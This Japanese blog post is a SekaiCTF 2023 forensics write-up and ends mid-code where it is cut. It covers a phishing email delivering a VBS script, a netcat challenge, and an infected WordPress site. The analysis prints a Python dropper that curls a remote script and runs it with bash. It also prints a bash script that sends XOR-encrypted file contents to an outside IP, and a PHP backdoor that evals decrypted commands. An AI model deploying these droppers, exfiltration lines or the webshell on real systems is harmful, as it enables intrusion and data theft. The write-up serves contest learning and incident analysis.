はまやんはまやんはまやん

hamayanhamayan's blog

SekaiCTF 2023 Writeup

[Forensics] DEF CON Invitation

eml形式のメールが与えられる。
若干危なそうな要素があるらしいので、警告に従い、VM内で解析することにする。

中を見ると、base64エンコードされたHTMLメールとdc31-invite.icsという添付ファイルが入っている。
HTMLメールは特に気になる部分はない。
icsファイルの中身にいくつかURLがある、何か攻撃が発展できそうな部分を探すと、
https://ほにゃらら/defcon-nautilus/venue-guide.htmlに以下のような部分がある。

 <script>
        const ror = (message) => {
          const foo = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
          const bar = "nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM"
          return message.replace(/[a-z]/gi, letter => bar[foo.indexOf(letter)])
        }

        async function dd(dataurl, fileName) {
                const response = await fetch(dataurl);
                const blob = await response.blob();

                const link = document.createElement("a");
                link.href = URL.createObjectURL(blob);
                link.download = fileName;
                link.click();
        }
    
    window.onload = function() {
          const downloadButton = document.getElementById("downloadButton");
          downloadButton.onclick = function() {
            dd(ror('[REDACTED]'), ror('[REDACTED]').split("").reverse().join(""));
          }
    };
  </script>

[REDACTED]部分にエンコードされた文字列が入っている。
dd関数の役目としては、ファイルをダウンロードさせるような役目がある。
まじめにやってもいいが、dd関数の引数だけ取り出してconsole.logで持ってくると以下のようなURLからファイルを持ってきていた。
https://ほにゃらら/defcon-nautilus/venue-map.png.vbs
更に持ってくると、800行のvbsスクリプトが降ってくる。
リテラルをさっと眺めると、ランサムウェアっぽい。
まじめに読むのは骨が折れそうなので、部分的に動かしながら頑張る。

最後の行のExecuteの中身を動かして文字列化すると、とある接続先にjsonを送るスクリプトになっている。
見ながら動かしてみる。

$ curl -X POST 'http://[REDACTED]/sendUserData' -d '{"username":"evilman"}' -H "Content-Type: application/json"
{"key":"compromised","msg":"Not admin!"}
$ curl -X POST 'http://[REDACTED]/sendUserData' -d '{"username":"admin"}' -H "Content-Type: application/json"
{"key":"02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY","msg":"Data compromised!"}

謎のkeyが得られる。
次に、ewkjunfw変数に謎の文字列が代入されているので、ewkjunfw = Replace("68IlllIllIII…とデコードに使っているOwOwO関数を持ってきて、
OwOwO(ewkjunfw)の結果を出力してみると、mediafireのURLが得られる。
ファイル名がdefcon.flag.png.XORedとなっていて、このファイルに対して先ほど得られたkeyをasciiとして解釈してXORするとPNGファイルとして復元でき、
中にフラグが書いてある。
pngファイルは大きすぎるので含まれないが、レシピはこんな感じ。
file:///home/kali/tools/cyberchef/CyberChef_v9.55.0.html#recipe=XOR(%7B'option':'UTF8','string':'02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY'%7D,'Standard',false)Render_Image('Raw')

[Forensics] Eval Me

pcapngファイルとnetcatの接続先が与えられる。
netcatの方をつないでみると

$ nc chals.sekai.team 9000
Welcome to this intro pwntools challenge.
I will send you calculations and you will send me the answer
Do it 100 times within time limit and you get the flag :)

1 * 9

このように計算して答えを出していく問題が与えられる。
一旦こっちは置いておいて、pcapngファイルを開いてみると前半はHTTPSで内容は分からないが、後半はHTTPで1byteずつhexを送っている。
特に得られる情報はなかったので、netcatの方のソルバーを書いて動かす。

from pwn import *

context.log_level = "debug"
p = remote("chals.sekai.team", 9000)

p.recvuntil(b':)')
p.recvuntil(b'\n')
for _ in range(100):
    p.recvuntil(b'\n')
    exp = p.recvuntil(b'\n')[:-1]
    p.sendline(str(eval(exp)))
    print(eval(exp))
p.interactive()

出力をぼーっと眺めていると

[DEBUG] Received 0xe bytes:
    b'correct\n'
    b'8 - 6\n'
[DEBUG] Sent 0x2 bytes:
    b'2\n'
2
[DEBUG] Received 0xf bytes:
    b'correct\n'
    b'10 - 7\n'
[DEBUG] Sent 0x2 bytes:
    b'3\n'
3
[DEBUG] Received 0x17c bytes:
    b'correct\n'
    b'__import__("subprocess").check_output("(curl -sL https://shorturl.at/fgjvU -o extract.sh && chmod +x extract.sh && bash extract.sh && rm -f extract.sh)>/dev/null 2>&1||true",shell=True)\r' 
    b'#1 + 2                                                                                                                                                                                   \n' 

途中でpythonで書かれたドロッパーが動く。
実装を見透かしたような出力で、CTFerは各位こういうことには注意しないといけない。
さすがSekaiCTF、倫理観が備わっており以下のような安全なコードだった。

#!/bin/bash

FLAG=$(cat flag.txt)

KEY='s3k@1_v3ry_w0w'


# Credit: https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46
Asc() { printf '%d' "'$1"; }


XOREncrypt(){
    local key="$1" DataIn="$2"
    local ptr DataOut val1 val2 val3

    for (( ptr=0; ptr < ${#DataIn}; ptr++ )); do

        val1=$( Asc "${DataIn:$ptr:1}" )
        val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )

        val3=$(( val1 ^ val2 ))

        DataOut+=$(printf '%02x' "$val3")

    done

    for ((i=0;i<${#DataOut};i+=2)); do
    BYTE=${DataOut:$i:2}
    curl -m 0.5 -X POST -H "Content-Type: application/json" -d "{\"data\":\"$BYTE\"}" http://35.196.65.151:30899/ &>/dev/null
    done
}

XOREncrypt $KEY $FLAG

exit 0

なるほど、flag.txtをs3k@1_v3ry_w0wを鍵としてXOR暗号化して送っている。
これがpcapngの後半に残っていたHTTP通信である。
なので、pcapngの後半のHTTP通信から、送信hexを持ってきて、この鍵でXORするとフラグが手に入る。

https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'UTF8','string':'s3k@1_v3ry_w0w'%7D,'Standard',false)&input=MjANCjc2DQoyMA0KMDENCjc4DQoyNA0KNDUNCjQ1DQo0Ng0KMTUNCjAwDQoxMA0KMDANCjI4DQo0Yg0KNDENCjE5DQozMg0KNDMNCjAwDQo0ZQ0KNDENCjAwDQowYg0KMmQNCjA1DQo0Mg0KMDUNCjJjDQowYg0KMTkNCjMyDQo0Mw0KMmQNCjA0DQo0MQ0KMDANCjBiDQoyZA0KMDUNCjQyDQoyOA0KNTINCjEyDQo0YQ0KMWYNCjA5DQo2Yg0KNGUNCjAwDQowZg

いいForensicsのEasy問題。

[Forensics] Infected

ランサムウェア被害が出たので調査する問題。
pcapngファイルと、保全されたwordpressフォルダが与えられる。

まずはpcapngファイルを眺めてみる。
MIME Multipart Media EncapsulationでPOST /wp-includes/date.phpが変に呼ばれている気がする。
/wp-includes/date.phpの中身を見てみるといかにも怪しい。
すぐこれを見つけられたのは運が良かった。これが見つからないと一生解けないかも…
ともあれ、変名しながら読むと以下のような感じ。

<?php

try {
    $attachment = $_FILES['file'];
    $fp = fopen($attachment['tmp_name'], "r");
    $raw_data = fread($fp,filesize($attachment['tmp_name']));
    $first_half = substr($raw_data, 0, strpos($raw_data, "..."));
    $second_half = substr($raw_data, strpos($raw_data, "...") + 3);
    $private_key = "-----BEGIN RSA PRIVATE KEY-----\n".chunk_split(base64_encode($second_half), 64, "\n")."-----END RSA PRIVATE KEY-----\n";
}
catch (Exception $e) {
    die("");
}

$encoded = "KG2bFhlYm8arwrJfc+xWCYqeoySjgrWnvA9zuVfd/pBwnmC8vAdOTydYKDC0VE10xRTq6+79HX7QgCScYjQ8ogHzkppFN2ifFSBkM1bzWckTl6shvZvp8d7678ZxlPZOhm4q0MtJ7BMFRbZuSKl10o1UDUkwVm7CZfCBQd1NLf0=,OfCbPFExBkpXi5F+SohxpXQLHvICHKF64rUIxVwhR83nMmO0k9Xqjh4+FHMCz0KcFXF5CGR6WUWC+aDqDhJZTgossQ+h1tSEfHpFif87ip0/OEHerOfyfPtQR3E62xUW1++3gm8WB38nkFiP6o1bkIdd9ZYObwQsp0YPlrj6AlA=,MiH8FWh7hHp+Yr2/Kv78WvMItwiwaCiO4DwBTq/IXU99hHUvb8iayOBUzLtr4Xg9wBGzHq73fY266XK+60YboIC15Es1J7vN8XRsUhlxavf8ssVmYDz4gz08+V9Ow+0k39Ef9Ic4NSiN+vbHCyCdFkvFsbfuUbyCHoxZyAjp1Z4=,pjnJiJt4sgRW48wgVIEmygN5+0HJiAVma5JPxQMIcpYqZUBsPkAW6/2wcMjqkZ7wzXdYZy706JV5gGm1F2egrtEtrsfo2V5eVMOsgLmB/ApVYmYsJ0DBl/8npo0JtvKM3dMeOg9LL5v+26QLKOxDRSX74rAYNSw4iPeH5y4SxCQ=,KkU+QkZ1PbLmKmfcLUGxUDMIWTKoYo9YAfiwe5heK1WwbuqoH2ra3WEv3vLCePK6ovlJoybcCeutQNY5AiR5OOuEAS/uM82WBCffE03cxezkkQPWbA43bstduUHgM6afqxPj6YaFI/C2ARQCYOWGMzYLeCdLkuKfvriudv/XnO0=,CtiyfFrf9+p8L2m6js0jmyHt5+1kYjfD0uO2Nggvkv+fZuBfGmN2BWxvD+oUBVA2TXkKQi+pBBlsc+9WWIjnL7ZCyWol9qUOHIwGdN8ab2IKI3Zl5qUwIFQcJHGRVeAjGnEOGM8iU5T1JZjO+QwJB9LTvyh8Ki9SGjqqxnNGT/M=,VszkcW2yR61TdtOSpRlh4DZ05SOlNR0n8rOlzdmnE+3RBarszIVsSg+59Yc7B+8+NqAslN32qBcu0sW5e+Vz3ABxdnIgaMoQcJ5Ku9T2p2UbuZ0j+LYxTrcIqnlc+THi8Do9q+Lml34/woKDOIIkKrjHhVnf6dusxI7Dv7z3oU0=,pIDhg8+nNcqxxClYVaYAGKig3/T0KWWbDm0BWN0M3u8ST0Nw6Am/crxXGMddK8m6qW5oyOvWgiD6XdUy0cfUo3zeXCXo3UYa+hxrTIKj1SS/n4LkzQ6egSRq4XK1fECKApY+8eiLEMOvyixnzD2ohs6FA5R/a12bMx8xzLctTG8=,TwB9lsoQC47npnc0Fy+Gt85zuRkuk8e1kPjogierA3tZiA6zs+6Qc6d9Ri7kfpasekO4dhZsM1W9z0n/zWpq+0Xp5tJ77mpryGPfae3KRSTS0QscQMi/ZhD+Pi6ajL3FoxKI7wfZ7RA0OKGSxhbiNHcD6WEShSbHILkuC7wWVMw=,rq0fb0wiKfJyqd3CCVAmwu3a8EKvgZ9B3K7sct8BoeBG/PKbp8a8AC9AbWPqnjYSIcFNkexdH1lXJrvgLKrC4UaqpMdi+Zqu96oc3695VfN0zspAKZkjEUwU8PA+En7R5qwSMD4QLop+2qZ+Tx1DC7Y2QwvqH7kAxwwloou45zw=,eTJY1cWk0XfO166TYwkvxA+6A6Ee5xXv53PtV7nbblXGx8PlVXUa5DU/dAXzTuyO1Ykkh16t0TKlyF/7X1G2S5z8RPjmyzIwhALHWw+zvWhE5hDf3lhZ1co6L9/Y7nSgKwUuWTsi1ZPqlrJTTlCyE+gNJE4M+Rh8QfJ/YQsWMBM=,BBeqrThbTcuSguT+9V2a5w2zTeL2GG+WZx26DXy0Y/sH8D85PMTk2lsVNs0e+yj06RfAkQuq6LrYVyEC9wB63ovSKxKIY0vZLaqxwZwA8RdzVcoOrx1/+acY1WqgeG8ZJdXCK7DFcRakkAclhZYNwJO+yKvto+ytvbWcKo0eeDI=,i5rXk8yQ4RVFvlY+sKFvlD19qAA8+9qTtzEGHXeSI9O+v2TDAoLJQuNnp+m3WTReKf8WN3sZ4CTpvUpXR0UYbZ1TUSHRyvWTkm+2P6E4DXdRvotwp+HyviELbjTrn0ajilPV3+X3DF1m1MaDo5v03gBIFRxCuDJM3CYk8KFw/kQ=,";
$eval_code = "";

$encoded_array = explode(",", $encoded);
foreach ($encoded_array as $encoded_tip) {
    openssl_private_decrypt(base64_decode($encoded_tip), $encoded_tip, $private_key);
    $eval_code .= $encoded_tip;
}

if ($eval_code == "") {
    die("");
}
else {
    eval($eval_code);
}
?>

どれを使ってもいいが、pcapngファイルのtcp.stream eq 39にあるPOSTリクエストにある文字列を使って以下のようなデコードコードを書く。

<?php
$input = "NjP3wIfHVc817BrGQ1Cz7HUFVlLcx43Bh8lZ/DStNdu0CTMsSWX69nyVjRyCoCpUNUqEawNH7EA6j3du5xuvJRwSwi0Gv68PoVZsuQsxI1Bqj085QZC/DbVpsfTBfifhd92BzdPFH31oK5zKqdCdeiEZk1ZcS9EjbOGvgtC+Z+suLi4wggJcAgEAAoGBALZnkIZBbQaCyIcrCi6A4SkexT/AJn5TwJ6ziXNZvGVfBfLD6FweWZQggep2dI7fPYPqn8BAmOg4/ILQzQt62jURLi2h9uxKnP8jyAG/A4I4iLhxFVxCfS2QW4qaVacmej6qYdXIl6NZs6dEOQFRG82nudrpfTLuLx8G1Vx4HVIRAgMBAAECgYBeEruvAj9AhGL3k3ME2ONHWd9RKcCwlnFZaC8TlsxbW86tjexg1iZNBxb53W3v4aLQTkll1esGmZ1hul6F9S5kISysag2LdPsZt9c3YpIHIkZ/1F2dV8tko9Q9MPxOk95ARLNdNcbwDptnasIJpZCKupzqBjF38rz7pUL03ceXgQJBANzoegBHft3iUVj8Jl2o8qPcVnggUvOnrdE6FGfZVT4crFpbEtzeYD71l/oK23dKHnWvoT12maJJGSOxLJxVCs0CQQDTYUoHpXLb3YdqU8UhLSotn/IJsykEXHa5ba2o3thrgo/OVScR/HmIz7T2IOfO1dzrFvmaXfx0CJKQcbptG6xVAkEAztvfCo3ojewUksgjQQcolyqHyhsysjjtOgQyAYDxIqWE+2NXCX4vECW4N4udMVo1paxdx4lcmivrH5IUHRxBbQJAH0Q+zQ6+BKOqCiJGAHhLyt/jz2d+47RBo4ADtfzwikaPuveBhfmQiJogrF+FqmSb/vIxDZJla0xxUYhhCQ6U2QJASe2clZFCZmlA/iI8j4xzmnipL6lUpBfR8gKo1u3eNHbJSy5gXx2e/KnjvbZrol2PpVz4Ydtk29uMpjkxuFbOfQ==";
$raw_data = base64_decode($input);
$first_half = substr($raw_data, 0, strpos($raw_data, "..."));
$second_half = substr($raw_data, strpos($raw_data, "...") + 3);
$private_key = "-----BEGIN RSA PRIVATE KEY-----\n".chunk_split(base64_encode($second_half), 64, "\n")."-----END RSA PRIVATE KEY-----\n";
$encoded = "KG2bFhlYm8arwrJfc+xWCYqeoySjgrWnvA9zuVfd/pBwnmC8vAdOTydYKDC0VE10xRTq6+79HX7QgCScYjQ8ogHzkppFN2ifFSBkM1bzWckTl6shvZvp8d7678ZxlPZOhm4q0MtJ7BMFRbZuSKl10o1UDUkwVm7CZfCBQd1NLf0=,OfCbPFExBkpXi5F+SohxpXQLHvICHKF64rUIxVwhR83nMmO0k9Xqjh4+FHMCz0KcFXF5CGR6WUWC+aDqDhJZTgossQ+h1tSEfHpFif87ip0/OEHerOfyfPtQR3E62xUW1++3gm8WB38nkFiP6o1bkIdd9ZYObwQsp0YPlrj6AlA=,MiH8FWh7hHp+Yr2/Kv78WvMItwiwaCiO4DwBTq/IXU99hHUvb8iayOBUzLtr4Xg9wBGzHq73fY266XK+60YboIC15Es1J7vN8XRsUhlxavf8ssVmYDz4gz08+V9Ow+0k39Ef9Ic4NSiN+vbHCyCdFkvFsbfuUbyCHoxZyAjp1Z4=,pjnJiJt4sgRW48wgVIEmygN5+0HJiAVma5JPxQMIcpYqZUBsPkAW6/2wcMjqkZ7wzXdYZy706JV5gGm1F2egrtEtrsfo2V5eVMOsgLmB/ApVYmYsJ0DBl/8npo0JtvKM3dMeOg9LL5v+26QLKOxDRSX74rAYNSw4iPeH5y4SxCQ=,KkU+QkZ1PbLmKmfcLUGxUDMIWTKoYo9YAfiwe5heK1WwbuqoH2ra3WEv3vLCePK6ovlJoybcCeutQNY5AiR5OOuEAS/uM82WBCffE03cxezkkQPWbA43bstduUHgM6afqxPj6YaFI/C2ARQCYOWGMzYLeCdLkuKfvriudv/XnO0=,CtiyfFrf9+p8L2m6js0jmyHt5+1kYjfD0uO2Nggvkv+fZuBfGmN2BWxvD+oUBVA2TXkKQi+pBBlsc+9WWIjnL7ZCyWol9qUOHIwGdN8ab2IKI3Zl5qUwIFQcJHGRVeAjGnEOGM8iU5T1JZjO+QwJB9LTvyh8Ki9SGjqqxnNGT/M=,VszkcW2yR61TdtOSpRlh4DZ05SOlNR0n8rOlzdmnE+3RBarszIVsSg+59Yc7B+8+NqAslN32qBcu0sW5e+Vz3ABxdnIgaMoQcJ5Ku9T2p2UbuZ0j+LYxTrcIqnlc+THi8Do9q+Lml34/woKDOIIkKrjHhVnf6dusxI7Dv7z3oU0=,pIDhg8+nNcqxxClYVaYAGKig3/T0KWWbDm0BWN0M3u8ST0Nw6Am/crxXGMddK8m6qW5oyOvWgiD6XdUy0cfUo3zeXCXo3UYa+hxrTIKj1SS/n4LkzQ6egSRq4XK1fECKApY+8eiLEMOvyixnzD2ohs6FA5R/a12bMx8xzLctTG8=,TwB9lsoQC47npnc0Fy+Gt85zuRkuk8e1kPjogierA3tZiA6zs+6Qc6d9Ri7kfpasekO4dhZsM1W9z0n/zWpq+0Xp5tJ77mpryGPfae3KRSTS0QscQMi/ZhD+Pi6ajL3FoxKI7wfZ7RA0OKGSxhbiNHcD6WEShSbHILkuC7wWVMw=,rq0fb0wiKfJyqd3CCVAmwu3a8EKvgZ9B3K7sct8BoeBG/PKbp8a8AC9AbWPqnjYSIcFNkexdH1lXJrvgLKrC4UaqpMdi+Zqu96oc3695VfN0zspAKZkjEUwU8PA+En7R5qwSMD4QLop+2qZ+Tx1DC7Y2QwvqH7kAxwwloou45zw=,eTJY1cWk0XfO166TYwkvxA+6A6Ee5xXv53PtV7nbblXGx8PlVXUa5DU/dAXzTuyO1Ykkh16t0TKlyF/7X1G2S5z8RPjmyzIwhALHWw+zvWhE5hDf3lhZ1co6L9/Y7nSgKwUuWTsi1ZPqlrJTTlCyE+gNJE4M+Rh8QfJ/YQsWMBM=,BBeqrThbTcuSguT+9V2a5w2zTeL2GG+WZx26DXy0Y/sH8D85PMTk2lsVNs0e+yj06RfAkQuq6LrYVyEC9wB63ovSKxKIY0vZLaqxwZwA8RdzVcoOrx1/+acY1WqgeG8ZJdXCK7DFcRakkAclhZYNwJO+yKvto+ytvbWcKo0eeDI=,i5rXk8yQ4RVFvlY+sKFvlD19qAA8+9qTtzEGHXeSI9O+v2TDAoLJQuNnp+m3WTReKf8WN3sZ4CTpvUpXR0UYbZ1TUSHRyvWTkm+2P6E4DXdRvotwp+HyviELbjTrn0ajilPV3+X3DF1m1MaDo5v03gBIFRxCuDJM3CYk8KFw/kQ=,";
$eval_code = "";

$encoded_array = explode(",", $encoded);
foreach ($encoded_array as $encoded_tip) {
    openssl_private_decrypt(base64_decode($encoded_tip), $encoded_tip, $private_key);
    $eval_code .= $encoded_tip;
}
echo $eval_code;

こんな感じでデコードすると以下が出てくる。

$pvk1 = "-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCyYg7DzqjtPGCUT+q38iZcQDqZFC+lIxqo+g1/OhT45AMPtea0
habVZX77whFsQz5zE3fUXLZCzDnZpvtfr4Y8JSzGdL7O0qf3KAQIfk26YQeKOOje
ECNi5zUk3wf+5QUZjXnvDj+BUr78fV57zMpCBe65+mTiBpFkzsNTYo+VxwIDAQAB
AoGBAKyHPrSPer8JOHf525DRudxbmtFXvsU/cJeiUc+Nw57+GR/m1R4gbj3TDsA8
8VD+sLXoTGuux/FPSVyDrnjbcT25akm0FE+KkBZ6dNLFtOq6WQTe3N8HHDHkpqbZ
qXbmuph4MqZlDpKMbEL1cQ81MkgAdPJnljvrjpIoqn5wZ7cRAkEA1+SjeaueSCu4
4VzXTDOMkBqT5rEfJXnT7fN9eM48dXCd1LotWIL/2xcGkC4OdqT0kQiSs4pOQlcn
Lle18qOL5QJBANOFh3aaoGDfH60ecX2MHDnvHz4CSAIInlNXsPpbhWrt7blmGBeA
nuwIiaQOMzvrj084xk3nI8PMIzdgxUFveDsCQA2w1h0VIQh6nVLNTGnsqvFIfjCW
8t6xhxsD4eUTTwozhg7Db7S5Ofhu0V+7S/eCJnA8FvGDx8q1NCrgLQ2iCXECQDl2
cRKbdy5Z7zUMrDA7O//RIl+qJv3GcZyamg2ph1lBQe+3+JuJ6aKdvya+ZNTGbaxL
9DN9s42hi3+j3nKkYbkCQDy68qEICIdcLPFzv/sEN2JS1Cg21lJMH14ao0M3Di9B
G4oDHVBHCRtDGXOviR8AG0VpghDHheonDFaX5O7VXUM=
-----END RSA PRIVATE KEY-----
";
$pbk1 = "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCyucnknkBP4whz0YJrblke667f
5g4EfCmKcO2j7c+WEOWmbVBRZ/ETtqOIEM8Hp9rV605R1gJBf7tcxziEoX4wxQm5
nfAqXkHUdloGyK7p7IZTh5tX6KnckCtrwbD7EFwjWBBceVHRmnmVdtF4yIkwaD2S
4tw4O5CVYcIlIAAo6QIDAQAB
-----END PUBLIC KEY-----
";
openssl_private_decrypt($ae25f0, $decrypted, $pvk1);
$result = `{$decrypted} 2>&1`;
$encrypted = "";
$chunks = str_split($result, 116);
foreach ($chunks as $chunk) {
    openssl_public_encrypt($chunk, $tmp, $pbk1);
    $encrypted .= base64_encode($tmp).",";
}
echo $encrypted;

前半部分の復号化処理がさらに実行される。
なので、最終的には以下のphpコードでC2コマンドの入力が復元可能。

<?php
$input = "hKcQ97ZRIWCFuhjPGSBBlcVUDRXHuWpKzVxF+iWYpfWMxm9PSM7dTIyDmgAqJtfrFqrP5FY9qm+3TpxFp5et8Gvvi8QWovN9kyyF0SX3g30zNlIDz4VshH1tB86zcgb3B3WDFlJ/+uF0SSa/M9BJ8F5qfWMAntfb9ER1CcEad8wuLi4wggJcAgEAAoGBALZnkIZBbQaCyIcrCi6A4SkexT/AJn5TwJ6ziXNZvGVfBfLD6FweWZQggep2dI7fPYPqn8BAmOg4/ILQzQt62jURLi2h9uxKnP8jyAG/A4I4iLhxFVxCfS2QW4qaVacmej6qYdXIl6NZs6dEOQFRG82nudrpfTLuLx8G1Vx4HVIRAgMBAAECgYBeEruvAj9AhGL3k3ME2ONHWd9RKcCwlnFZaC8TlsxbW86tjexg1iZNBxb53W3v4aLQTkll1esGmZ1hul6F9S5kISysag2LdPsZt9c3YpIHIkZ/1F2dV8tko9Q9MPxOk95ARLNdNcbwDptnasIJpZCKupzqBjF38rz7pUL03ceXgQJBANzoegBHft3iUVj8Jl2o8qPcVnggUvOnrdE6FGfZVT4crFpbEtzeYD71l/oK23dKHnWvoT12maJJGSOxLJxVCs0CQQDTYUoHpXLb3YdqU8UhLSotn/IJsykEXHa5ba2o3thrgo/OVScR/HmIz7T2IOfO1dzrFvmaXfx0CJKQcbptG6xVAkEAztvfCo3ojewUksgjQQcolyqHyhsysjjtOgQyAYDxIqWE+2NXCX4vECW4N4udMVo1paxdx4lcmivrH5IUHRxBbQJAH0Q+zQ6+BKOqCiJGAHhLyt/jz2d+47RBo4ADtfzwikaPuveBhfmQiJogrF+FqmSb/vIxDZJla0xxUYhhCQ6U2QJASe2clZFCZmlA/iI8j4xzmnipL6lUpBfR8gKo1u3eNHbJSy5gXx2e/KnjvbZrol2PpVz4Ydtk29uMpjkxuFbOfQ==";
$raw_data = base64_decode($input);
$first_half = substr($raw_data, 0, strpos($raw_data, "..."));
$second_half = substr($raw_data, strpos($raw_data, "...") + 3);
$private_key = "-----BEGIN RSA PRIVATE KEY-----\n".chunk_split(base64_encode($second_half), 64, "\n")."-----END RSA PRIVATE KEY-----\n";
$encoded = "KG2bFhlYm8arwrJfc+xWCYqeoySjgrWnvA9zuVfd/pBwnmC8vAdOTydYKDC0VE10xRTq6+79HX7QgCScYjQ8ogHzkppFN2ifFSBkM1bzWckTl6shvZvp8d7678ZxlPZOhm4q0MtJ7BMFRbZuSKl10o1UDUkwVm7CZfCBQd1NLf0=,OfCbPFExBkpXi5F+SohxpXQLHvICHKF64rUIxVwhR83nMmO0k9Xqjh4+FHMCz0KcFXF5CGR6WUWC+aDqDhJZTgossQ+h1tSEfHpFif87ip0/OEHerOfyfPtQR3E62xUW1++3gm8WB38nkFiP6o1bkIdd9ZYObwQsp0YPlrj6AlA=,MiH8FWh7hHp+Yr2/Kv78WvMItwiwaCiO4DwBTq/IXU99hHUvb8iayOBUzLtr4Xg9wBGzHq73fY266XK+60YboIC15Es1J7vN8XRsUhlxavf8ssVmYDz4gz08+V9Ow+0k39Ef9Ic4NSiN+vbHCyCdFkvFsbfuUbyCHoxZyAjp1Z4=,pjnJiJt4sgRW48wgVIEmygN5+0HJiAVma5JPxQMIcpYqZUBsPkAW6/2wcMjqkZ7wzXdYZy706JV5gGm1F2egrtEtrsfo2V5eVMOsgLmB/ApVYmYsJ0DBl/8npo0JtvKM3dMeOg9LL5v+26QLKOxDRSX74rAYNSw4iPeH5y4SxCQ=,KkU+QkZ1PbLmKmfcLUGxUDMIWTKoYo9YAfiwe5heK1WwbuqoH2ra3WEv3vLCePK6ovlJoybcCeutQNY5AiR5OOuEAS/uM82WBCffE03cxezkkQPWbA43bstduUHgM6afqxPj6YaFI/C2ARQCYOWGMzYLeCdLkuKfvriudv/XnO0=,CtiyfFrf9+p8L2m6js0jmyHt5+1kYjfD0uO2Nggvkv+fZuBfGmN2BWxvD+oUBVA2TXkKQi+pBBlsc+9WWIjnL7ZCyWol9qUOHIwGdN8ab2IKI3Zl5qUwIFQcJHGRVeAjGnEOGM8iU5T1JZjO+QwJB9LTvyh8Ki9SGjqqxnNGT/M=,VszkcW2yR61TdtOSpRlh4DZ05SOlNR0n8rOlzdmnE+3RBarszIVsSg+59Yc7B+8+NqAslN32qBcu0sW5e+Vz3ABxdnIgaMoQcJ5Ku9T2p2UbuZ0j+LYxTrcIqnlc+THi8Do9q+Lml34/woKDOIIkKrjHhVnf6dusxI7Dv7z3oU0=,pIDhg8+nNcqxxClYVaYAGKig3/T0KWWbDm0BWN0M3u8ST0Nw6Am/crxXGMddK8m6qW5oyOvWgiD6XdUy0cfUo3zeXCXo3UYa+hxrTIKj1SS/n4LkzQ6egSRq4XK1fECKApY+8eiLEMOvyixnzD2ohs6FA5R/a12bMx8xzLctTG8=,TwB9lsoQC47npnc0Fy+Gt85zuRkuk8e1kPjogierA3tZiA6zs+6Qc6d9Ri7kfpasekO4dhZsM1W9z0n/zWpq+0Xp5tJ77mpryGPfae3KRSTS0QscQMi/ZhD+Pi6ajL3FoxKI7wfZ7RA0OKGSxhbiNHcD6WEShSbHILkuC7wWVMw=,rq0fb0wiKfJyqd3CCVAmwu3a8EKvgZ9B3K7sct8BoeBG/PKbp8a8AC9AbWPqnjYSIcFNkexdH1lXJrvgLKrC4UaqpMdi+Zqu96oc3695VfN0zspAKZkjEUwU8PA+En7R5qwSMD4QLop+2qZ+Tx1DC7Y2QwvqH7kAxwwloou45zw=,eTJY1cWk0XfO166TYwkvxA+6A6Ee5xXv53PtV7nbblXGx8PlVXUa5DU/dAXzTuyO1Ykkh16t0TKlyF/7X1G2S5z8RPjmyzIwhALHWw+zvWhE5hDf3lhZ1co6L9/Y7nSgKwUuWTsi1ZPqlrJTTlCyE+gNJE4M+Rh8QfJ/YQsWMBM=,BBeqrThbTcuSguT+9V2a5w2zTeL2GG+WZx26DXy0Y/sH8D85PMTk2lsVNs0e+yj06RfAkQuq6LrYVyEC9wB63ovSKxKIY0vZLaqxwZwA8RdzVcoOrx1/+acY1WqgeG8ZJdXCK7DFcRakkAclhZYNwJO+yKvto+ytvbWcKo0eeDI=,i5rXk8yQ4RVFvlY+sKFvlD19qAA8+9qTtzEGHXeSI9O+v2TDAoLJQuNnp+m3WTReKf8WN3sZ4CTpvUpXR0UYbZ1TUSHRyvWTkm+2P6E4DXdRvotwp+HyviELbjTrn0ajilPV3+X3DF1m1MaDo5v03gBIFRxCuDJM3CYk8KFw/kQ=,";
$eval_code = "";

$encoded_array = explode(",", $encoded);
foreach ($encoded_array as $encoded_tip) {
    openssl_private_decrypt(base64_decode($encoded_tip), $encoded_tip, $private_key);
    $eval_code .= $encoded_tip;
}

$pvk1 = "-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCyYg7DzqjtPGCUT+q38iZcQDqZFC+lIxqo+g1/OhT45AMPtea0
habVZX77whFsQz5zE3fUXLZCzDnZpvtfr4Y8JSzGdL7O0qf3KAQIfk26YQeKOOje
ECNi5zUk3wf+5QUZjXnvDj+BUr78fV57zMpCBe65+mTiBpFkzsNTYo+VxwIDAQAB
AoGBAKyHPrSPer8JOHf525DRudxbmtFXvsU/cJeiUc+Nw57+GR/m1R4gbj3TDsA8
8VD+sLXoTGuux/FPSVyDrnjbcT25akm0FE+KkBZ6dNLFtOq6WQTe3N8HHDHkpqbZ
qXbmuph4MqZlDpKMbEL1cQ81MkgAdPJnljvrjpIoqn5wZ7cRAkEA1+SjeaueSCu4
4VzXTDOMkBqT5rEfJXnT7fN9eM48dXCd1LotWIL/2xcGkC4OdqT0kQiSs4pOQlcn
Lle18qOL5QJBANOFh3aaoGDfH60ecX2MHDnvHz4CSAIInlNXsPpbhWrt7blmGBeA
nuwIiaQOMzvrj084xk3nI8PMIzdgxUFveDsCQA2w1h0VIQh6nVLNTGnsqvFIfjCW
8t6xhxsD4eUTTwozhg7Db7S5Ofhu0V+7S/eCJnA8FvGDx8q1NCrgLQ2iCXECQDl2
cRKbdy5Z7zUMrDA7O//RIl+qJv3GcZyamg2ph1lBQe+3+JuJ6aKdvya+ZNTGbaxL
9DN9s42hi3+j3nKkYbkCQDy68qEICIdcLPFzv/sEN2JS1Cg21lJMH14ao0M3Di9B
G4oDHVBHCRtDGXOviR8AG0VpghDHheonDFaX5O7VXUM=
-----END RSA PRIVATE KEY-----
";
$pbk1 = "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCyucnknkBP4whz0YJrblke667f
5g4EfCmKcO2j7c+WEOWmbVBRZ/ETtqOIEM8Hp9rV605R1gJBf7tcxziEoX4wxQm5
